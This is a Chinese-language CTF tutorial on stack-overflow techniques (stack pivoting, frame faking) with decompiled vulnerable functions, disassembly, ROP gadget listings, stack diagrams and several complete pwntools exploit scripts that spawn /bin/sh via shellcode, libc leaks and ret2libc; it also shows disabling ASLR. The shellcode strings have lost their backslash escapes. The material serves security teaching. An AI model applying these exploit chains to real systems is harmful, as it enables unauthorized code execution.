ASLR和PIE
root@pwn-PC:~# cat /proc/sys/kernel/randomize_va_space
1
root@pwn-PC:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@pwn-PC:~# cat /proc/sys/kernel/randomize_va_space
0
stack pivoting
X-CTF 2016 b0verfl0w
题目分析
signed int vul()
{
char s; // [esp+18h] [ebp-20h]
puts("n======================");
puts("nWelcome to X-CTF 2016!");
puts("n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
0x804850e <main>: push ebp
0x804850f <main+1>: mov ebp,esp
0x8048511 <main+3>: and esp,0xfffffff0
0x8048514 <main+6>: call 0x804851b <vul>
0x8048519 <main+11>: leave
0x804851a <main+12>: ret
0x804851b <vul>: push ebp
0x804851c <vul+1>: mov ebp,esp
0x804851e <vul+3>: sub esp,0x38
0x8048521 <vul+6>: mov DWORD PTR [esp],0x8048640
0x8048528 <vul+13>: call 0x80483d0 <puts@plt>
0x804852d <vul+18>: mov DWORD PTR [esp],0x8048658
0x8048534 <vul+25>: call 0x80483d0 <puts@plt>
0x8048539 <vul+30>: mov DWORD PTR [esp],0x8048640
0x8048540 <vul+37>: call 0x80483d0 <puts@plt>
0x8048545 <vul+42>: mov DWORD PTR [esp],0x8048670
0x804854c <vul+49>: call 0x80483d0 <puts@plt>
0x8048551 <vul+54>: mov eax,ds:0x804a060
0x8048556 <vul+59>: mov DWORD PTR [esp],eax
0x8048559 <vul+62>: call 0x80483b0 <fflush@plt>
0x804855e <vul+67>: mov eax,ds:0x804a040
0x8048563 <vul+72>: mov DWORD PTR [esp+0x8],eax
0x8048567 <vul+76>: mov DWORD PTR [esp+0x4],0x32
0x804856f <vul+84>: lea eax,[ebp-0x20]
0x8048572 <vul+87>: mov DWORD PTR [esp],eax
=> 0x8048575 <vul+90>: call 0x80483c0 <fgets@plt>
0x804857a <vul+95>: lea eax,[ebp-0x20]
0x804857d <vul+98>: mov DWORD PTR [esp+0x4],eax
0x8048581 <vul+102>: mov DWORD PTR [esp],0x8048682
0x8048588 <vul+109>: call 0x80483a0 <printf@plt>
0x804858d <vul+114>: mov eax,ds:0x804a060
0x8048592 <vul+119>: mov DWORD PTR [esp],eax
0x8048595 <vul+122>: call 0x80483b0 <fflush@plt>
0x804859a <vul+127>: mov eax,0x1
0x804859f <vul+132>: leave
0x80485a0 <vul+133>: ret
思路分析
pwn@pwn-PC:~/Desktop/pwntips$ ROPgadget --binary b0verfl0w --only 'jmp|ret'
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1
Unique gadgets found: 6
pwn@pwn-PC:~/Desktop/pwntips$ ROPgadget --binary b0verfl0w --only 'sub|ret'
Gadgets information
============================================================
0x0804836a : ret
0x0804847e : ret 0xeac1
0x08048500 : sub esp, 0x24 ; ret
Unique gadgets found: 3
----------------
payload
----------------
fake ebp
----------------
jmp esp addr
----------------
...
----------------
方法一
方法二
exp
exp一
exp(一):
from pwn import *
sh = process('./b0verfl0w')
# context.arch = 'i386'
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
shellcode_x86 = "x31xc9xf7xe1x51x68x2fx2fx73"
shellcode_x86 += "x68x68x2fx62x69x6ex89xe3xb0"
shellcode_x86 += "x0bxcdx80"
sub_esp_jmp = asm('sub esp, 0x24;jmp esp')
jmp_esp = 0x08048504
sub_esp = 0x08048500
payload = 'bbbb' + p32(jmp_esp) + shellcode_x86 + (
0x20 - len(shellcode_x86) - 8) * 'b' + 'bbbb' + p32(sub_esp)
sh.sendline(payload)
# gdb.attach(sh)
sh.interactive()
exp二
from pwn import *
sh = process('./b0verfl0w')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
shellcode_x86 = "x31xc9xf7xe1x51x68x2fx2fx73"
shellcode_x86 += "x68x68x2fx62x69x6ex89xe3xb0"
shellcode_x86 += "x0bxcdx80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
# gdb.attach(sh)
sh.interactive()
frame faking
int vuln(){
char buf[80];
return read(0, buf, 100);
}
思路一
应用一
sub_8048484()
{
char buf; // [esp+1Ch] [ebp-6Ch]
setbuf(stdin, &buf);
return read(0, &buf, 0x100u);
}
-----------------------
aaaa.... |padding
-----------------------
0x804a820 |fake_ebp
-----------------------
read@plt_addr |ret_addr
-----------------------
0x8048481 |leave_ret
-----------------------
0x0 |fd
-----------------------
0x804a820 |buf
-----------------------
0x64 |nbytes
-----------------------
-----------------------
0x804a820 |padding
-----------------------
write@plt_addr |ret_addr
-----------------------
0x8048369 |控制执行流
-----------------------
0x1 |fd
-----------------------
read@got.plt |buf
-----------------------
0x4 |nbytes
-----------------------
write@plt_addr |ret_addr
-----------------------
0x8048369 |控制执行流
-----------------------
0x0 |fd
-----------------------
0x804a84c |buf
-----------------------
0x100 |nbytes
-----------------------
........ |0x804a84c
-----------------------
-----------------------
system_addr |0x804a84c
-----------------------
bbbb |0x804a850
-----------------------
/bin/sh_addr |0x804a854
-----------------------
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
elf = ELF('bed0c68697f74e649f3e1c64ff7838b8')
r = process('./bed0c68697f74e649f3e1c64ff7838b8')
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')
offset = 108 ## find stack overflow length
bss_addr = elf.bss()
leave_ret = 0x08048481 ## ROPgadget --binary bed0c68697f74e649f3e1c64ff7838b8 --only 'leave|ret'
read_plt = elf.plt['read']
read_got = elf.got['read']
libc = ELF('/usr/lib/i386-linux-gnu/libc-2.24.so')
read_libc = libc.symbols['read']
system_libc = libc.symbols['system']
r.recvuntil('Welcome to XDCTF2015~!n')
# gdb.attach(r)
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
## padding 108
rop.raw('a' * offset)
## faker_ebp1
rop.raw(base_stage)
### stack pivoting, set esp = base_stage
rop.raw(flat(read_plt,leave_ret,0, base_stage, 100))
# print rop.dump()
r.sendline(rop.chain())
## getshell
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')
rop.raw(base_stage)
rop.write(1, read_got, 0x4)
rop.read(0,base_stage+0x2c,0x100)
rop.raw('a' * ( 50 - len(rop.chain())))
print rop.dump()
gdb.attach(r)
r.sendline(rop.chain())
libc.address = u32(r.recv(4)) - read_libc
payload = flat([libc.sym['system'],'bbbb',next(libc.search('/bin/sh'))])
r.sendline(payload)
r.interactive()
思路二
-----------------------
aaaa.... |padding
-----------------------
aaaa |ebp
-----------------------
read@plt_addr |ret_addr
-----------------------
0x8048369 |控制执行流
-----------------------
0x0 |fd
-----------------------
fake_ebp . |buf
-----------------------
0x64 |nbytes
-----------------------
pop ebp_ ret |控制执行流
-----------------------
fake_ebp |fake_ebp
-----------------------
0x8048481 |leave_ret
-----------------------
应用二
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
elf = ELF('bed0c68697f74e649f3e1c64ff7838b8')
r = process('./bed0c68697f74e649f3e1c64ff7838b8')
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')
offset = 112
bss_addr = elf.bss()
leave_ret = 0x08048481
read_plt = elf.plt['read']
read_got = elf.got['read']
libc = ELF('/usr/lib/i386-linux-gnu/libc-2.24.so')
read_libc = libc.symbols['read']
system_libc = libc.symbols['system']
r.recvuntil('Welcome to XDCTF2015~!n')
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
print rop.dump()
r.sendline(rop.chain())
## getshell
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')
rop.write(1, read_got, 0x4)
rop.read(0,base_stage+0x28,0x100)
rop.raw('a' * ( 50 - len(rop.chain())))
print rop.dump()
gdb.attach(r)
r.sendline(rop.chain())
libc.address = u32(r.recv(4)) - read_libc
payload = flat([libc.sym['system'],'bbbb',next(libc.search('/bin/sh'))])
r.sendline(payload)
r.interactive()
实践
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( sub_400676() )
;
return 0LL;
}
int sub_400676()
{
char buf; // [rsp+0h] [rbp-50h]
memset(&buf, 0, 0x50uLL);
putchar(62);
read(0, &buf, 0x60uLL);
return puts(&buf);
}
-----------------------
pop_rdi_ret |rdi = /bin/sh_addr
-----------------------
/bin/sh_addr |
-----------------------
pop_rdx_pop_rsi_ret |rdx = 0 rsi = 0
-----------------------
p64(0) |
-----------------------
p64(0) |
-----------------------
execve_addr |rip = execve_addr
-----------------------
-----------------------
aaaaaaaa |buf_addr
-----------------------
pop_rdi_ret |rdi = puts@got_addr
-----------------------
puts@got_addr |
-----------------------
puts@plt_addr |puts(puts@got_addr)
-----------------------
call sub_400676() | 循环读入开始(这样payload中就不需要构造read函数了)
-----------------------
aaaaa..... |padding
-----------------------
buf_addr |fake_rbp
-----------------------
0x4006be |leave_ret
-----------------------
-----------------------
aaaaaaaa |buf_addr-0x30
-----------------------
pop_rdi_ret |rdi = /bin/sh_addr
-----------------------
/bin/sh_addr |
-----------------------
pop_rdx_pop_rsi_ret |rdx = 0 rsi = 0
-----------------------
p64(0) |
-----------------------
p64(0) |
-----------------------
execve_addr |rip = execve_addr
-----------------------
aaaaa..... |padding
-----------------------
buf_addr-0x30 |fake_rbp
-----------------------
0x4006be |leave_ret
-----------------------
from pwn import *
context.binary = "./over.over"
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
sh = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc
sh.sendafter(">", 'a' * 80)
stack = u64(sh.recvuntil("x7f")[-6: ].ljust(8, ' ')) - 0x70
sh.sendafter(">", flat(['aaaaaaaa', 0x400793, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * 'a', stack, 0x4006be]))
libc.address = u64(sh.recvuntil("x7f")[-6: ].ljust(8, ' ')) - libc.sym['puts']
pop_rdi_ret=0x400793
# gdb.attach(sh)
pop_rdx_pop_rsi_ret=libc.address+0x00000000000f52b9
payload=flat(['aaaaaaaa', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * 'a', stack - 0x30, 0x4006be])
sh.sendafter(">", payload)
sh.interactive()
二一老师带你从0开始学
掌握渗透入门知识点
现在报名,还加享
4个G网安资料包
限量500名
快扫码报名👇
本文始发于微信公众号(合天网安实验室):栈溢出技巧-上
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论